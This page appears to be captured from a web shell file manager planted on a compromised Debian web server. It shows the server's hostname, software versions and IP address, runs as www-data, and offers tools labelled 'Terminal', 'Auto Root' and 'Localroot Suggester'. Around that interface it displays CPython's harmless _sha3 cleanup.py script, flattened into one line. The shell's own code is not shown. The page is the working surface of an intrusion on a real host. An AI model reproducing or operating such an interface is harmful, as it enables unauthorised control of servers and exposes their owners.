Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
Python-3.10.14 /
Modules /
_sha3 /
Delete
Unzip
Name
Size
Permission
Date
Action
clinic
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
kcp
[ DIR ]
drwxr-xr-x
2024-03-19 22:46
README.txt
400
B
-rw-r--r--
2024-03-19 22:46
cleanup.py
1.41
KB
-rwxr-xr-x
2024-03-19 22:46
sha3module.c
24.72
KB
-rw-r--r--
2024-03-19 22:46
Save
Rename
#!/usr/bin/env python # Copyright (C) 2012 Christian Heimes (christian@python.org) # Licensed to PSF under a Contributor Agreement. # # cleanup Keccak sources import os import re CPP1 = re.compile("^//(.*)") CPP2 = re.compile(r"\ //(.*)") STATICS = ("void ", "int ", "HashReturn ", "const UINT64 ", "UINT16 ", " int prefix##") HERE = os.path.dirname(os.path.abspath(__file__)) KECCAK = os.path.join(HERE, "kcp") def getfiles(): for name in os.listdir(KECCAK): name = os.path.join(KECCAK, name) if os.path.isfile(name): yield name def cleanup(f): buf = [] for line in f: # mark all functions and global data as static #if line.startswith(STATICS): # buf.append("static " + line) # continue # remove UINT64 typedef, we have our own if line.startswith("typedef unsigned long long int"): buf.append("/* %s */\n" % line.strip()) continue ## remove #include "brg_endian.h" if "brg_endian.h" in line: buf.append("/* %s */\n" % line.strip()) continue # transform C++ comments into ANSI C comments line = CPP1.sub(r"/*\1 */\n", line) line = CPP2.sub(r" /*\1 */\n", line) buf.append(line) return "".join(buf) for name in getfiles(): with open(name) as f: res = cleanup(f) with open(name, "w") as f: f.write(res)